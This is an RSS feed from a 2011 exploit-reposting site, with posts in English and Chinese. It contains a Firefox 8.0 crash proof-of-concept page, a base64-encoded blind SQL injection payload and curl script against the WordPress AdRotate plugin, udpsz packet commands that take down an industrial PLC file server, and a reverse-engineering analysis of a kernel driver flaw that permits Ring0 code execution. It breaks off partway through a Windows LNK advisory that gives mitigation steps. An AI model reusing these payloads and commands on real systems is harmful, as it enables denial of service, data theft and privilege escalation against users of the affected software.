<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>HACKER3</title>
	<atom:link href="http://www.hacker3.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.hacker3.com</link>
	<description>HACKER</description>
	<lastBuildDate>Tue, 15 Nov 2011 15:17:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Firefox 8.0 Null Pointer Dereference PoC</title>
		<link>http://www.hacker3.com/firefox-8-0-null-pointer-dereference-poc.html</link>
		<comments>http://www.hacker3.com/firefox-8-0-null-pointer-dereference-poc.html#comments</comments>
		<pubDate>Tue, 15 Nov 2011 15:13:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[DoS/PoC]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=134</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<pre class="brush: php; title: ; notranslate">
# Firefox &lt;= 8.0 null pointer dereference PoC exploit
# Author: 0in (Maksymilian Motyl)
# Tested on Firefox 8.0/4.0 on windows and Firefox 7.1 on Linux
# Lets see in code:
# $ cat ./mozilla-release/content/base/src/nsObjectLoadingContent.cpp

NS_IMETHODIMP nsObjectLoadingContent::OnStartRequest(nsIRequest *aRequest,
                                       nsISupports *aContext)
{
  if (aRequest != mChannel) { // our pointer is checked there, mChannel is null. I think maybe some magick in js can help there
    return NS_BINDING_ABORTED;
  }
  AutoNotifier notifier(this, PR_TRUE);

  if (!IsSuccessfulRequest(aRequest)) { // go

//----------------------------------------------------------------------------------
PRBool nsObjectLoadingContent::IsSuccessfulRequest(nsIRequest* aRequest)
{
  nsresult status;
  nsresult rv = aRequest-&gt;GetStatus(&amp;status); // Code execution is here.

// ---------------------------------------------------------------------------------

DUMP:
  014E7A28   8B7D 08          MOV EDI,DWORD PTR SS:[EBP+8]
  014E7A2B   8B07             MOV EAX,DWORD PTR DS:[EDI] ; access violation when reading 0x00000000
  014E7A2D   8D4D FC          LEA ECX,DWORD PTR SS:[EBP-4]
  014E7A30   51               PUSH ECX
  014E7A31   57               PUSH EDI
  014E7A32   FF50 14          CALL DWORD PTR DS:[EAX+14]

  EAX 0012BFC0
  ECX 00080000
  EDX 00080000
  EBX 03A199E8
  ESP 0012BF44
  EBP 0012BF54
  ESI 03A199C0
  EDI 00000000
  EIP 014E7A2B xul.014E7A2B

$ cat 2011_powrot_komuny.html
&lt;html&gt;
&lt;body&gt;

&lt;object id=&quot;dupa&quot;&gt;
&lt;script&gt;
RIINDC=document.getElementById(&quot;dupa&quot;);
RIINDC.QueryInterface(Components.interfaces.nsIRequestObserver);
//RIINDC.mchannel=SHELLCODE_ADDR
RIINDC.onStartRequest(null,RIINDC.QueryInterface(Components.interfaces.nsISupports));
//RIINDC.onStartRequest(RIINDC.mchannel,DWCJWL.QueryInterface(Components.interfaces.nsISupports));

&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/firefox-8-0-null-pointer-dereference-poc.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress AdRotate plugin </title>
		<link>http://www.hacker3.com/wordpress-adrotate-plugin.html</link>
		<comments>http://www.hacker3.com/wordpress-adrotate-plugin.html#comments</comments>
		<pubDate>Tue, 15 Nov 2011 14:50:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Advisory Bulletin]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=125</guid>
		<description><![CDATA[# Exploit Title: WordPress AdRotate plugin # Date: 2011-11-8 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip # Version: 3.6.6 (tested) # Note: parameter $_GET["track"] has to be Base64 encoded]]></description>
			<content:encoded><![CDATA[<p># Exploit Title: WordPress AdRotate plugin # Date: 2011-11-8<br />
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)<br />
# Software Link: http://downloads.wordpress.org/plugin/adrotate.3.6.6.zip<br />
# Version: 3.6.6 (tested)<br />
# Note: parameter $_GET["track"] has to be Base64 encoded<span id="more-125"></span></p>
<pre class="brush: plain; title: ; notranslate">
---
PoC
---

http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=MScgQU5EIDE9SUYoMj4xLEJFTkNITUFSSyg1MDAwMDAwLE1ENShDSEFSKDExNSwxMTMsMTA4LDEwOSw5NywxMTIpKSksMCkj

e.g.
#!/bin/bash
payload=&quot;1' AND 1=IF(2&gt;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#&quot;
encoded=`echo -n &quot;1' AND 1=IF(2&gt;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#&quot; | base64 -w 0`
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded

---------------
Vulnerable code
---------------

if(isset($_GET['track']) OR $_GET['track'] != '') {
    $meta = base64_decode($_GET['track']);
    ...
    list($ad, $group, $block) = explode(&quot;-&quot;, $meta);
    ...
    $bannerurl = $wpdb-&gt;get_var($wpdb-&gt;prepare(&quot;SELECT `link` FROM `&quot;.$prefix.&quot;adrotate` WHERE `id` = '&quot;.$ad.&quot;' LIMIT 1;&quot;)); //wrong (mis)usage of wpdb-&gt;prepare()
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/wordpress-adrotate-plugin.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Optima PLC APIFTP Server两个拒绝服务漏洞</title>
		<link>http://www.hacker3.com/optima-plc-apiftp-server-two-denial-of-service-vulnerability.html</link>
		<comments>http://www.hacker3.com/optima-plc-apiftp-server-two-denial-of-service-vulnerability.html#comments</comments>
		<pubDate>Tue, 15 Nov 2011 14:42:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Advisory Bulletin]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=121</guid>
		<description><![CDATA[受影响系统： VanDyke AbsoluteFTP 2.x 描述： Optima是一套通过SCADA/HMI界面控制PLC的自动软件。APIFTP Server是共享文件夹中的远程文件的文件服务器。 Optima PLC中存在两个安全漏洞，可被恶意用户利用造成拒绝服务。 1）处理 APIFTP Server (APIFTPServer.exe) 中的某些报文时的错误可被利用重复触发空指针引用，通过发送到端口10260/TCP的特制报文导致栈溢出； 2）处理 APIFTP Server (APIFTPServer.exe) 中的某些报文时的错误可被利用通过发送到端口10260/TCP的特制报文造成无限循环。 测试方法： Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法： http://aluigi.org/testz/udpsz.zip A] udpsz -C “e803 0400 ff” -T -D -3 -d SERVER 10260 0&#215;107 wait some seconds, the tool will quit automatically B] udpsz -C “e803 0400 00&#8243; -T -D SERVER 10260 ]]></description>
			<content:encoded><![CDATA[<p>受影响系统：<br />
VanDyke AbsoluteFTP 2.x<br />
描述：<br />
Optima是一套通过SCADA/HMI界面控制PLC的自动软件。APIFTP Server是共享文件夹中的远程文件的文件服务器。<br />
Optima PLC中存在两个安全漏洞，可被恶意用户利用造成拒绝服务。<br />
1）处理 APIFTP Server (APIFTPServer.exe) 中的某些报文时的错误可被利用重复触发空指针引用，通过发送到端口10260/TCP的特制报文导致栈溢出；<br />
2）处理 APIFTP Server (APIFTPServer.exe) 中的某些报文时的错误可被利用通过发送到端口10260/TCP的特制报文造成无限循环。<br />
<*来源：Luigi Auriemma （aluigi@pivx.com）<br />
链接：http://aluigi.altervista.org/adv/optimalog_1-adv.txt<br />
*><br />
测试方法：<span id="more-121"></span></p>
<p>Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法：</p>
<p>http://aluigi.org/testz/udpsz.zip</p>
<p>A]<br />
  udpsz -C “e803 0400 ff” -T -D -3 -d SERVER 10260 0&#215;107</p>
<p>  wait some seconds, the tool will quit automatically</p>
<p>B]<br />
  udpsz -C “e803 0400 00&#8243; -T -D SERVER 10260 -1</p>
<p>建议：<br />
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：<br />
www.vandyke.com/products/absoluteftp/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/optima-plc-apiftp-server-two-denial-of-service-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>QQ影音.wav文件解析拒绝服务漏洞</title>
		<link>http://www.hacker3.com/qq-video-wav-file-parsing-denial-of-service-vulnerability.html</link>
		<comments>http://www.hacker3.com/qq-video-wav-file-parsing-denial-of-service-vulnerability.html#comments</comments>
		<pubDate>Fri, 10 Sep 2010 06:07:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exploits and Shellcode]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=116</guid>
		<description><![CDATA[受影响系统： Tencent QQ影音 2.3.696.400p1 描述： QQ影音是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。 用户受骗使用QQ影音打开了畸形的.wav文件就会导致播放器崩溃。 测试方法： http://www.exploit-db.com/download/14937 建议： 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://player.qq.com]]></description>
			<content:encoded><![CDATA[<p>受影响系统：<br />
Tencent QQ影音 2.3.696.400p1<br />
描述：<br />
QQ影音是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。</p>
<p>用户受骗使用QQ影音打开了畸形的.wav文件就会导致播放器崩溃。<br />
<*来源：hadji samir （s-dz@hotmail.fr）<br />
  *><br />
测试方法：<span id="more-116"></span><br />
<a href="http://www.exploit-db.com/download/14937">http://www.exploit-db.com/download/14937</a></p>
<p>建议：<br />
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：</p>
<p>http://player.qq.com/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/qq-video-wav-file-parsing-denial-of-service-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IE6 / 7 Remote Dos vulnerability</title>
		<link>http://www.hacker3.com/ie6-7-remote-dos-vulnerability.html</link>
		<comments>http://www.hacker3.com/ie6-7-remote-dos-vulnerability.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 11:54:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[DoS/PoC]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=102</guid>
		<description><![CDATA[# Exploit Title: IE6 / 7 Remote Dos vulnerability # Date: 27/07/2010 # Author: Richard leahy # Version: 6 / 7 # Tested on: Windows Xp Sp3 #category Remote Dos, might lead to code execution. # The vulnerability is caused due to specifying a large value integer or string to the frame.frameBorder causing a dos ]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hacker3.com/wp-content/uploads/2010/07/code.png"></a># Exploit Title: IE6 / 7 Remote Dos vulnerability</p>
<p># Date: 27/07/2010</p>
<p># Author: Richard leahy</p>
<p># Version: 6 / 7</p>
<p># Tested on: Windows Xp Sp3<span id="more-102"></span></p>
<p>#category Remote Dos, might lead to code execution.</p>
<p># The vulnerability is caused due to specifying a large value integer or string to the frame.frameBorder</p>
<p>causing a dos and may lead to code execution.</p>
<p>#code</p>
<p><a href="http://www.hacker3.com/wp-content/uploads/2010/07/code.png"><img title="code" src="http://www.hacker3.com/wp-content/uploads/2010/07/code.png" alt="" width="428" height="330" /></a></p>
<p>Hotmail: Powerful Free email with security by Microsoft.</p>
<p>https://signup.live.com/signup.aspx?id=60969</p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/ie6-7-remote-dos-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Media Player Classic .m3u文件解析堆溢出漏洞</title>
		<link>http://www.hacker3.com/media-player-classic-m3u-file-parsing-heap-overflow-vulnerability.html</link>
		<comments>http://www.hacker3.com/media-player-classic-m3u-file-parsing-heap-overflow-vulnerability.html#comments</comments>
		<pubDate>Tue, 27 Jul 2010 11:52:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Advisory Bulletin]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=99</guid>
		<description><![CDATA[受影响系统： guliverkli Media Player Classic 1.3.1333.0 描述： Media Player Classic是一个免费的基于WMP的播放程序，支持几乎所有媒体格式。 用户受骗使用Media Player Classic打开了畸形的.m3u播放列表文件就可以触发堆溢出，导致执行任意代码。 &#60;*来源：Praveen Darshanam （praveen.recker@sify.com） *&#62; 测试方法： http://www.exploit-db.com/download/14477 建议： 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://guliverkli.sourceforge.net]]></description>
			<content:encoded><![CDATA[<p>受影响系统：<br />
guliverkli Media Player Classic 1.3.1333.0<br />
<strong>描述</strong>：<br />
Media Player Classic是一个免费的基于WMP的播放程序，支持几乎所有媒体格式。<br />
用户受骗使用Media Player Classic打开了畸形的.m3u播放列表文件就可以触发堆溢出，导致执行任意代码。<br />
&lt;*来源：Praveen Darshanam （praveen.recker@sify.com） *&gt;<br />
测试方法：<span id="more-99"></span></p>
<p><a href="http://www.exploit-db.com/download/14477" target="_blank">http://www.exploit-db.com/download/14477</a></p>
<p><strong>建议：</strong></p>
<p>目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：</p>
<p><a href="http://guliverkli.sourceforge.net/" target="_blank">http://guliverkli.sourceforge.net/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/media-player-classic-m3u-file-parsing-heap-overflow-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>东方微点主动防御软件Mp110013.sys驱动本地内核权限提升漏洞</title>
		<link>http://www.hacker3.com/orient-point-proactive-defense-software-mp110013-sys-micro-drive-local-kernel-privilege-escalation-vulnerability.html</link>
		<comments>http://www.hacker3.com/orient-point-proactive-defense-software-mp110013-sys-micro-drive-local-kernel-privilege-escalation-vulnerability.html#comments</comments>
		<pubDate>Tue, 27 Jul 2010 11:48:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Advisory Bulletin]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=96</guid>
		<description><![CDATA[受影响系统： 东方微点 主动防御软件 &#60;= 1.2.10581.0278 描述： 微点主动防御软件是微点公司自主研发的具有完全自主知识产权的第三代反病毒产品。 微点主动防御软件所使用的mp110013.sys驱动中存在安全漏洞，利用该漏洞能够实现本地特权提升，进Ring0。 详细说明： UNEXPECTED_KERNEL_MODE_TRAP (7f) This means a trap occurred in kernel mode, and it&#8217;s a trap of a kind that the kernel isn&#8217;t allowed to have/catch (bound trap) or that is always instant death (double fault). The first number in the bugcheck params is the number of the ]]></description>
			<content:encoded><![CDATA[<p>受影响系统：<br />
东方微点 主动防御软件 &lt;= 1.2.10581.0278<br />
<strong>描述</strong>：</p>
<p>微点主动防御软件是微点公司自主研发的具有完全自主知识产权的第三代反病毒产品。<br />
微点主动防御软件所使用的mp110013.sys驱动中存在安全漏洞，利用该漏洞能够实现本地特权提升，进Ring0。<br />
详细说明：<span id="more-96"></span><br />
UNEXPECTED_KERNEL_MODE_TRAP (7f)<br />
This means a trap occurred in kernel mode, and it&#8217;s a trap of a kind<br />
that the kernel isn&#8217;t allowed to have/catch (bound trap) or that<br />
is always instant death (double fault). The first number in the<br />
bugcheck params is the number of the trap (8 = double fault, etc)<br />
Consult an Intel x86 family manual to learn more about what these<br />
traps are. Here is a *portion* of those codes:<br />
If kv shows a taskGate<br />
use .tss on the part before the colon, then kv.<br />
Else if kv shows a trapframe<br />
use .trap on that value<br />
Else<br />
.trap on the appropriate frame will show where the trap was taken<br />
(on x86, this will be the ebp that goes with the procedure KiTrap)<br />
Endif<br />
kb will then show the corrected stack.<br />
Arguments:<br />
Arg1: 00000008, EXCEPTION_DOUBLE_FAULT<br />
Arg2: 80042000<br />
Arg3: 00000000<br />
Arg4: 00000000<br />
Debugging Details:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
BUGCHECK_STR: 0x7f_8<br />
TSS: 00000028 &#8212; (.tss 0&#215;28)<br />
eax=81123880 ebx=81120f80 ecx=2c23f92a edx=8000012c esi=00000000 edi=8113f388<br />
eip=f96a37c0 esp=f7b25000 ebp=f7b278f8 iopl=0 nv up ei ng nz ac po nc<br />
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010292<br />
mp110013+0x7c0:<br />
f96a37c0 ff30 push dword ptr [eax] ds:0023:81123880=00000937<br />
Resetting default scope<br />
DEFAULT_BUCKET_ID: CODE_CORRUPTION<br />
PROCESS_NAME: MPSVC2.exe<br />
LAST_CONTROL_TRANSFER: from f96a8c06 to f96a37c0<br />
STACK_TEXT:<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
f7b278f8 f96a8c06 81120f80 80e5ea38 817cf210 mp110013+0x7c0<br />
f7b27ac8 804ef003 81728030 8113f388 806d12d0 mp110013+0x5c06<br />
f7b27ad8 80574e4e 8113f3f8 811ec470 8113f388 nt!IopfCallDriver+0&#215;31<br />
f7b27aec 80575cdd 81728030 8113f388 811ec470 nt!IopSynchronousServiceTail+0&#215;60<br />
f7b27b94 8056e63a 00000508 00000000 00000000 nt!IopXxxControlFile+0x5e7<br />
f7b27bc8 f7363b12 00000508 00000000 00000000 nt!NtDeviceIoControlFile+0x2a<br />
f7b27c44 f99b081f 00000508 00000000 00000000 BehaviorMon!HookNtDeviceIoControlFile+0&#215;892<br />
f7b27d34 8053da48 00000508 00000000 00000000 Hookport+0x481f<br />
f7b27d34 7c92eb94 00000508 00000000 00000000 nt!KiFastCallEntry+0xf8<br />
0358f70c 7c92d8ef 7c801671 00000508 00000000 ntdll!KiFastSystemCallRet<br />
0358f710 7c801671 00000508 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc<br />
0358f770 006281bd 00000508 8000012c 0358f7c4 kernel32!DeviceIoControl+0xdd<br />
0358fed8 003c7b9d 0000022c 0358fefc 0358ff04 mp110034+0x81bd<br />
00000000 00000000 00000000 00000000 00000000 mp110036+0x7b9d</p>
<p>从过分析中的栈回溯，可以看到最终出问题的代码落在mp110013+0x5c06和mp110013+0x7c0所处的函数中。导致崩溃的指令如下：<br />
f96a37c0 ff30 push dword ptr [eax] ds:0023:81123880=00000937</p>
<p>这条指令的寻址都是正常的，eax指向的DWORD是存在，那为什么无法push呢？！除非此时发生了“栈上溢”。这时我们来看看发生崩溃时的esp值，从上面的分析可以看到当时esp值为f7b25000，我们再查这个地址的属性。</p>
<p>kd&gt; !address f7b25000<br />
f7b24000 &#8211; 00004000<br />
Usage KernelSpaceUsageKernelStack<br />
KernelStack 80e5e828 : 3d4.82c</p>
<p>可以看出，该地址处于内核栈的顶部，由于系统在栈顶预留了0&#215;1000的空间，因此已经无法再push了。<br />
kd&gt; dd f7b25000-4<br />
f7b24ffc ???????? 00000000 00000000 8113bf1c<br />
f7b2500c 81123ab0 43504354 020a0027 00000000<br />
f7b2501c 00000000 00000000 00000000 00000000</p>
<p>看到了内核崩溃的直接原因后，下面我们需要找到其根本原因。首先我们定位到mp110013+0x5c06所在的函数，如下所示：</p>
<p>.text:00015BE4 loc_15BE4: ; CODE XREF: .text:00015BD7j<br />
.text:00015BE4 push dword ptr [ebp-74h]<br />
.text:00015BE7 push dword ptr [ebp-98h]<br />
.text:00015BED lea eax, [ebp-0E8h]<br />
.text:00015BF3 push eax<br />
.text:00015BF4 push ebx<br />
.text:00015BF5 call sub_1090E<br />
.text:00015BFA mov [ebp-94h], eax<br />
.text:00015C00 push ebx // 输入缓冲区指针<br />
.text:00015C01 call sub_107B0 // 函数调用<br />
.text:00015C06 mov [edi+1Ch], eax<br />
.text:00015C09 cmp [ebp-94h], esi<br />
.text:00015C0F jz short loc_15C1E<br />
.text:00015C11 lea eax, [ebp-0E8h]<br />
.text:00015C17 push eax<br />
.text:00015C18 push ebx<br />
.text:00015C19 call sub_107FE</p>
<p>可以看到，该函数会调用到sub_107B0函数，那么我们再来看看sub_107B0函数的逻辑：</p>
<p>.text:000107B0 sub_107B0 proc near ; CODE XREF: .text:00015C01p<br />
.text:000107B0<br />
.text:000107B0 arg_0 = dword ptr 8 // 输入缓冲区指针<br />
.text:000107B0<br />
.text:000107B0 mov edi, edi<br />
.text:000107B2 push ebp<br />
.text:000107B3 mov ebp, esp<br />
.text:000107B5 mov eax, [ebp+arg_0]<br />
.text:000107B8 add eax, 4<br />
.text:000107BB mov ecx, [eax] // 循环次数 可控<br />
// 是输入缓冲区第二个DWORD<br />
.text:000107BD add eax, 4<br />
.text:000107C0 loc_107C0: ; CODE XREF: sub_107B0+15j<br />
.text:000107C0 push dword ptr [eax] // 栈上溢<br />
.text:000107C2 add eax, 4<br />
.text:000107C5 loop loc_107C0<br />
.text:000107C7 mov eax, [ebp+arg_0]<br />
.text:000107CA call dword ptr [eax] // 调用输入缓冲区<br />
// 第一个DWORD指向的函数<br />
.text:000107CC pop ebp<br />
.text:000107CD retn 4</p>
<p>从上面的代码可以看出，sub_107B0函数整个逻辑都是可以控制的，首先该函数中从输入缓冲区的第二个DWORD中取出要循环的次数，然后做了一个循环，最终调用了输入缓冲区的第一个DWORD所指向的函数。如果循环的次数太多，会导致栈上溢，但是这个次数我们可以通过输入缓冲区的第二个DWORD来控制，因此我们可以避免栈上溢。我们最为感兴趣的应该是循环后面的一个call指令，调用的是输入缓冲区的第一个DWORD所指向的函数。</p>
<p>通过几次调试可以发现，只要往输入缓冲区的第一个DWORD处放一个错误的值，在派遣例程中会把他修改成0，这样一来，最终调用的就是0这个地址。这是相当危险的，我们只要在0地址处申请内存，并存放Ring0 Shellcode就可以完美的利用这个漏洞。这一点我们可以通过栈回溯来证明，先看看调用sub_107B0函数的参数：</p>
<p>f7b278f8 f96a8c06 81120f80 80e5ea38 817cf210 mp110013+0x7c0</p>
<p>参数是81120f80，我们再来看看这个地址指向的数据，是不是我们输入缓冲区的数据：</p>
<p>kd&gt; dd 81120f80<br />
81120f80 00000000 2c240368 5e9e3918 8e3b184c<br />
81120f90 22d5df8e 961331c8 d5a92216 0aa0f10a<br />
81120fa0 b7e0c5f7 e75bcb05 97beb301 6c48e205<br />
81120fb0 43c9daa0 08b79115 6cead1f5 3fe586fd<br />
81120fc0 00000000 00000000 00000000 00000000<br />
81120fd0 00000000 00000000 00000000 00000000<br />
81120fe0 00000000 00000000 00000000 00000000<br />
81120ff0 00000000 00000000 00000000 00000000</p>
<p>确实和我们之前篡改的输入数据基本一致，不过第一个DWORD被微点的派遣例程修改成了0。总的来说，这是一个本地权限提升内核漏洞。</p>
<p>&lt;*来源：shineast （<a href="http://hi.baidu.com/shineastdh）" target="_blank">http://hi.baidu.com/shineastdh）</a><br />
  <br />
  链接：<a href="http://www.wooyun.org/bug.php?action=view&amp;id=45" target="_blank">http://www.wooyun.org/bug.php?action=view&amp;id=45</a><br />
*&gt;</p>
<p><strong>测试方法：</strong></p>
<p><a href="http://www.wooyun.org/bug.php?action=view&amp;id=45" target="_blank">http://www.wooyun.org/bug.php?action=view&amp;id=45</a></p>
<p><strong>建议：</strong></p>
<hr />厂商补丁：</p>
<p>目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：</p>
<p><a href="http://www.micropoint.com.cn/" target="_blank">http://www.micropoint.com.cn/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.hacker3.com/orient-point-proactive-defense-software-mp110013-sys-micro-drive-local-kernel-privilege-escalation-vulnerability.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Windows快捷方式LNK文件自动执行代码漏洞</title>
		<link>http://www.hacker3.com/microsoft-windows-shortcut-lnk-files-automatically-code-execution-vulnerability.html</link>
		<comments>http://www.hacker3.com/microsoft-windows-shortcut-lnk-files-automatically-code-execution-vulnerability.html#comments</comments>
		<pubDate>Thu, 22 Jul 2010 11:16:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security Advisory Bulletin]]></category>

		<guid isPermaLink="false">http://www.hacker3.com/?p=91</guid>
		<description><![CDATA[受影响的软件及系统： Windows XP Windows Server 2003 Windows Vista Windows Server 2008 Windows 7 综述： Windows系统在处理LNK文件中所包含内容的机制上存在漏洞，攻击者可以通过在LNK文件中植入恶意内容使用户在浏览目录时执行指定的恶意代码，用户只要浏览了包含恶意LNK文件的U盘、网络共享、本地磁盘都会导致恶意代码的执行，因此攻击者可以很方便地利用此漏洞传播恶意代码。 此漏洞是一个0day漏洞，目前已经发现利用此漏洞通过U盘传播恶意代码的活动，微软已经得知了此漏洞的存在并开始研究处理，但还未提供针对此漏洞安全补丁，强烈建议参照临时解决方案进行处理以免受此漏洞的影响。 分析： Windows支持使用快捷方式或LNK文件。LNK文件是指向本地文件的引用，点击LNK文件与点击快捷方式所指定的目标具有相同的效果。 Windows没有正确地处理LNK文件，特制的LNK文件可能导致Windows自动执行快捷方式文件所指定的代码。这些代码可能位于USB驱动、本地或远程文件系统、光驱或其他位置，使用资源管理器查看了LNK文件所在位置就足以触发这个漏洞。默认下Windows启动了自动加载和自动播放功能，因此在连接可移动设备（如USB闪存）后Windows会自动打开资源管理器。其他显示文件图标的应用也可用作这个漏洞的攻击载体。 此漏洞影响广泛而且导致威胁等级高，再次使攻击者通过U盘之类的移动介质和网络共享传播恶意代码成为可能，需要引起重视并及时采取应对措施。 解决方法： 在安装漏洞相应的补丁之前，Windows用户可以采用以下的临时解决方案来免受漏洞的影响： * 禁止显示快捷方式图标的功能。注意这将使得所有快捷方式显示空白图标。 执行如下步骤： 1. 点击 “开始” -&#62; “运行”，在文本框中输入“regedit”，点击 “确定” 启动注册表编辑器。 2. 在注册表编辑器中定位并选中如下的注册表项： HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler 3. 在 “文件” 菜单中选择 “导出”。 4. 在导出注册表文件对话框的文件名处输入 “LNK_Icon_Backup.reg” ，点击 “确定”。 此步骤保存相关的注册表配置到备份文件中，待安装了正式的补丁后可以双击 LNK_Icon_Backup.reg 备份文件重新导入到注册表恢复系统配置。 5. 在注册表右边窗口右键点击 “默认” 表项，选择 “修改”，清空 “数值数据” 框中的数据，点击 ]]></description>
			<content:encoded><![CDATA[<p>受影响的软件及系统：<br />
Windows XP<br />
Windows Server 2003<br />
Windows Vista<br />
Windows Server 2008<br />
Windows 7<br />
综述：<br />
Windows系统在处理LNK文件中所包含内容的机制上存在漏洞，攻击者可以通过在LNK文件中植入恶意内容使用户在浏览目录时执行指定的恶意代码，用户只要浏览了包含恶意LNK文件的U盘、网络共享、本地磁盘都会导致恶意代码的执行，因此攻击者可以很方便地利用此漏洞传播恶意代码。<span id="more-91"></span></p>
<p>此漏洞是一个0day漏洞，目前已经发现利用此漏洞通过U盘传播恶意代码的活动，微软已经得知了此漏洞的存在并开始研究处理，但还未提供针对此漏洞安全补丁，强烈建议参照临时解决方案进行处理以免受此漏洞的影响。</p>
<p>分析：<br />
Windows支持使用快捷方式或LNK文件。LNK文件是指向本地文件的引用，点击LNK文件与点击快捷方式所指定的目标具有相同的效果。</p>
<p>Windows没有正确地处理LNK文件，特制的LNK文件可能导致Windows自动执行快捷方式文件所指定的代码。这些代码可能位于USB驱动、本地或远程文件系统、光驱或其他位置，使用资源管理器查看了LNK文件所在位置就足以触发这个漏洞。默认下Windows启动了自动加载和自动播放功能，因此在连接可移动设备（如USB闪存）后Windows会自动打开资源管理器。其他显示文件图标的应用也可用作这个漏洞的攻击载体。</p>
<p>此漏洞影响广泛而且导致威胁等级高，再次使攻击者通过U盘之类的移动介质和网络共享传播恶意代码成为可能，需要引起重视并及时采取应对措施。</p>
<p>解决方法：<br />
在安装漏洞相应的补丁之前，Windows用户可以采用以下的临时解决方案来免受漏洞的影响：</p>
<p>* 禁止显示快捷方式图标的功能。注意这将使得所有快捷方式显示空白图标。</p>
<p>执行如下步骤：</p>
<p>1. 点击 “开始” -&gt; “运行”，在文本框中输入“regedit”，点击 “确定” 启动注册表编辑器。</p>
<p>2. 在注册表编辑器中定位并选中如下的注册表项：</p>
<p>HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler</p>
<p>3. 在 “文件” 菜单中选择 “导出”。</p>
<p>4. 在导出注册表文件对话框的文件名处输入 “LNK_Icon_Backup.reg” ，点击 “确定”。</p>
<p>此步骤保存相关的注册表配置到备份文件中，待安装了正式的补丁后可以双击 LNK_Icon_Backup.reg 备份文件重新导入到注册表恢复系统配置。</p>
<p>5. 在注册表右边窗口右键点击 “默认” 表项，选择 “修改”，清空 “数值数据” 框中的数据，点击 “确定”。</p>
<p>6. 重启系统。</p>
<p>厂商状态：<br />
微软已经得到了漏洞相关的信息正在处理，但还没有发布安全补丁，我们建议在安装官方补丁之前应用本通告的临时解决方案以降低漏洞的威胁：<br />
